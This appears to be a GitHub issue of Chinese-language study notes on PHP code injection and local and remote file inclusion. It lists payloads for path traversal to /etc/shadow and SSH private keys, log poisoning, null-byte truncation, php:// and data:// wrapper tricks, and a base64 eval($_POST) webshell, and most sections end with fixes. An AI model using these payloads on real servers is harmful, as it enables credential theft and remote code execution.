Skip to content

代码注入 & 文件包含 #99

@PyxYuYu

Description

@PyxYuYu

A book that remains shut is but a block.

0x01 代码注入

  • 代码注入:当应用程序调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,如果用户输入恶意字符串,被转化成代码执行,将造成代码注入
  • 将字符串转化成代码执行的相关函数
   PHP:eval、assert
   JavaScript:eval
   VbScript:Execute、Eval
   Python:exec
   Java:Java 内没有类似 PHP 中 eval 这种可以直接将字符串转化成代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEL 等,这些都能导致代码注入
  • PHP 中的代码注入
    • 代码执行函数
       eval
       assert
       callback 函数
       preg_replace + /e 模式
       unserialize() ( `PHP` 反序列化函数)
    
    • 漏洞方式
      • 直接获得之后再赋值给 ret,可以直接造成代码注入
         eval("\$ret = $data;");
      
      • deal 处理后赋值给 ret,单引号传参,闭合单引号就可以造成代码注入
         eval("\$ret = deal('$data');");
      
      • deal 处理后赋值给 ret,双引号传参,双引号在代码中有个很重要的特性,它可以解析其中的函数,比如传入 ${phpinfo()}phpinfo 将会被执行,而得到的返回值作为参数传入 deal,不需要考虑闭合双引号
         eval("\$ret = deal("$data");");
      
      • preg_replace 函数,第一个参数使用了 /e 模式,第二个参数就会使用 eval 来执行(/e 模式会对 " ' 进行转义),这里又是双引号包裹,和上面的一样,{@${phpinfo()}} 也可以造成代码注入
         preg_replace('/(.*)<\/data>/e', '$ret="\1";', $data);
      
    • 修复方案
      • 能使用 JSON 保存数组、对象就使用 JSON,不要将 PHP 对象保存成字符串,否则读取的时候需要使用 eval
      • 必须使用 eval 的情况,一定确保用户不能轻易接触 eval 的参数,或者严格的正则判断输入的数据格式,对于数据一定要使用单引号包裹可控代码,并在插入前进行 addslashes 转义
      • 放弃使用 preg_replacee 模式,使用 pre_replace_callback 替代,如果一定要使用 e 模式,确保第二个参数中,对于正则匹配出的对象,是用单引号包裹的
0x02 文件包含

  • 文件包含
    • 文件包含漏洞的产生原因是在通过引入文件的时候,由于传入的文件名没有经过合理的检验,或者检验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意的代码注入,可以分为本地文件包含和远程文件包含两种形式
    • 被包含的文件在 服务器本地 时,形成本地文件包含漏洞
    • 被包含的文件在 第三方服务器 时,形成远程文件包含漏洞
    • PHP 文件包含
      • PHP 4 存在远程和本地文件包含,PHP 5 仅存在本地文件包含
      • 漏洞前提
         php.ini
         allow_url_fopen   On  默认开启   可以包含远程文件,使用 ftp 和 http 协议
         allow_url_include On  默认关闭   允许引用 URL 文件
      
      • 常用的包含文件函数
        • include()
          • 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给一个警告,继续向下执行
        • include_once()
          • 和上面一样,区别在于当重复调用同一文件时,程序只调用一次
        • require()
          • include() 一样,区别在于发生错误时,函数会输出错误信息,终止脚本的运行
          • require()PHP 程序执行前,会先读入 require() 所指定引入的文件,使它变成 PHP 程序的一部分
        • require_once()
          • 和上面一样,区别在于当重复调用同一文件时,程序只调用一次
        • require 一般是用于文件头包含类文件、数据库等文件
        • include 一般是用于包含 html 模板文件
      • 本地文件包含
        • 包含目录文件
          • 如果目录文件中的内容是 PHP,则内容会被当成 PHP 执行,不是 PHP 则会读取到文件内容(比如读取 /etc/passwd 等敏感文件)
          • 同目录下文件 (./ 当前目录)
             ?file=.htaccess
             ?file=./.htaccess
          
          • 目录遍历 (../ 上级目录)(可以获取其他配置文件)
             ?file=./../../../var/lib/locate.db
          
          • 常利用的服务器上的重要文件
             .htaccess
             /var/lib/locate.db
             /var/lib/mlocate/mlocate.db 
             /var/log/apache/error.log
             /usr/local/apache2/conf/httpd.conf
             /root/.ssh/authorized_keys
             /root/.ssh/id_rsa
             /root/.ssh/id_rsa.keystore
             /root/.ssh/id_rsa.pub
             /root/.ssh/known_hosts
             /etc/shadow
             /root/.bash_history
             /root/.mysql_history
             /proc/self/fd/fd[0-9]* (文件标识符)
             /proc/mounts
             /proc/config.gz
          
        • 包含日志文件
          • 无法上传文件时,可以尝试利用 User-Agent 插入 Payload 到日志文件
          • User-Agent 用双引号包裹,比如
             User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0<?php phpinfo(); ?>"
          
          • 日志文件,可以是错误文件,也可以是访问文件
             ?file=./../../../../../var/log/apache/error.log
          
          • 如果大日志导致浏览器卡死,可以在 Payload 后加上一个 exit() 退出
          • 如果包含不成功,可能是 open_basedir 限制了目录
          • 文件包含常见日志路径
             /var/log/apache/error_log
             /var/log/apache/access_log
             /var/log/apache2/error_log
             /var/log/apache2/access_log
             /var/www/logs/error_log
             /var/www/logs/access.log
             /var/log/error_log
             /var/log/access.log
             /usr/local/apache/logs/error.log
             /usr/local/apache/logs/access_log
          
        • 包含 session 文件
          • session 文件一般在 /tmp 目录下,格式为 sess_[your phpsessid value],有时候也有可能在 /var/lib/php5 之类,在此之前可以先读取配置文件来确定
          • 某些特定的情况下如果可以控制 session 的值,可能可以获得 shell
             ?file=../../../../tmp/sess_92d8nrMgJgQgViCwsDjbXOy
          
        • 包含临时文件 tmp
          • 向服务器上传任意 PHP 文件,如果以 form-data 方式提交请求上传数据时,会生成临时文件,通过 phpinfo 来获得临时文件的路径以及名称,然后通过包含临时文件执行代码拿 shell
          • 临时文件会在极短的时间内被删除,所以需要在删除之前包含它,提交大量数据包,让缓存文件足够大,删除的时候相对花费较多时间,从而可以在被删除前包含
        • 绕过本地文件包含限制
          • 典型漏洞代码
             <?php include("inc/" . $_GET['file'] . ".htm"); ?>
          
          • %00 截断
             ?file=../../../../../ect/passwd%00
          
          • magic_quotes_gpc=off 并且 PHP 小于 5.3.4
          • 如果是 on,会被转义导致截断失败
          • PHP 5.4之后修复截断特性
          • %00 目录遍历截断
             ?file=../../../../../../var/www/%00
          
          • magic_quotes_gpc=Off 并且 Unix 文件系统,比如 FreeBSDOpenBSDNetBSDSolaris
          • 路径长度截断
             ?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
          
          • PHP 版本小于 5.2.8(?)可以成功,Linux 需要文件名长于 4096Windows 需要长于 256
          • 点号截断
             ?file=../../../../../../../../../boot.ini/.....[...]........
          
          • PHP 版本小于 5.2.8(?)可以成功,只适用于 Windows,点号需长于 256
        • 漏洞修复
          • PHP 中使用 open_basedir 将用户可操作的文件限制在某目录下,即指定在某区域
             // php.ini 中设置
             open_basedir = /dir/user/
          
          • 对传入的参数进行检验和过滤
      • 远程文件包含
        • 常用的引入远程文件的方法
        • 常见的协议
             ?file=[http|https|ftp]://example.com/shell.txt
          
          • allow_url_fopen = On 并且 allow_url_include = On
          • 远程主机上创建一个带有攻击性代码的文件(txtjpg 均可),这个文件不能被服务器解析,所以不可以为 PHP 脚本文件,否则会导致攻击脚本不能在受害者机器上运行
        • 利用 PHPinput(利用 POST 将数据输入)
             ?file=php://input
             // POST Payload
             <?php phpinfo(); ?>
          
          • allow_url_include = OnPHP < 5.3.0
          • 遇到 file_get_contents() 时,可以用 php://input 绕过
            • file_get_contents() 函数会将文件中的内容读取返回至一个字符串中,如果直接将字符串作为参数会报错
            • php://input 的话,可以获取到 POST 的数据
            • file_get_contents() 返回的是字符串,无法被执行,而 include() 是将字符串导入,可以作为可执行代码
        • 利用 PHPfilter
             // 读取 index.php 源码(base64 编码)
             ?file=php://filter/convert.base64-encode/resource=index.php
             // 读取 index.php 源码(base64 解码)
             ?file=php://filter/convert.base64-decode/resource=index.php
          
          • filter 过滤器,可以在执行代码前将代码换个方式读取出来,因为只是读取,所以无需开启 allow_url_include
          • 利用解码 decode,可以突破符号限制,写入一句话
             // 每次利用 file_put_contents 将字符逐个写入到文件 N 中
             PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
             // 解码后为 <?php eval($_POST[9]);
             // 最后包含文件 N,解码
             param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
          
        • 利用 data URIs
             ?file=data://text/plain;base64,base64编码的Payload
          
          • allow_url_include = OnPHP < 5.3.0
          • 将原本 include 的文件流重定向到了用户可控制的输入流中,即将 Payload 包含在了 include 的文件流中
          • 注: <?php phpinfo(); 此类执行代码没有 ?> 后缀,有就无法执行
        • 利用 zip 协议
             ?file=zip://压缩包%23内部文件
          
          • 因为 zip 协议需要 #,为了避免和 URL 协议中的 # 冲突,转义成 %23
          • 比如,包含的后缀必须为 .php
             $include_file=$_GET[include_file];
             if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
                     {
                         require( $include_file );
                     }
          
          • 新建 1.php,里面可以写执行语句,比如一句话
          • 压缩成 zip,将压缩包重命名为 zip.jpg
          • 然后将 zip.jpg 上传
                 ?file=zip://D:/ApmServ/www/htdocs/zip.jpg%231.php
          
        • 利用 phar 协议
             ?file=phar://压缩包/内部文件
          
          • PHP > 5.3
          • 压缩包一般是 phar 后缀,需要代码来生成,zip 后缀也可以
             <?php
             $p = new  PharData(dirname(__FILE__).'/phartest.aaa',  0,'phartest',Phar::ZIP);
             $p->addFromString('testfile.txt',  '<?php phpinfo();?>');
             ?>
          
          • 创建 phar 的时候注意 php.iniphar.readonly=Off
          • 压缩包需要是 zip 协议压缩,rar 不行
          • 利用 URL 中的压缩包后缀可以是任意后缀
             ?file=phar://./phar/phartest.aaa/testfile.txt
          
          • phartest.aaa 是一个 zip 文件,其中有个一个 testfile.txt
        • 绕过远程文件包含限制
          • 典型漏洞代码
             <?php include($_GET['file'] . ".htm"); ?>
          
          • 各种绕过限制
             ?file=http://example.com/shell
          
             ?file=http://example.com/shell.txt?
             // 无法向攻击者编写的脚本传递参数,如果攻击者脚本加入了参数,会导致无法拦截
          
             ?file=http://example.com/shell.txt%23
             // allow_url_fopen = On 并且 allow_url_include = On
          
             ?file=\evilshare\shell.php
             // allow_url_include = On
          
        • 漏洞修复
          • 对引入文件包含的参数进行过滤
          • 对所引入的文件的域进行限制
          • 禁止服务器访问可信域以外的文件

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions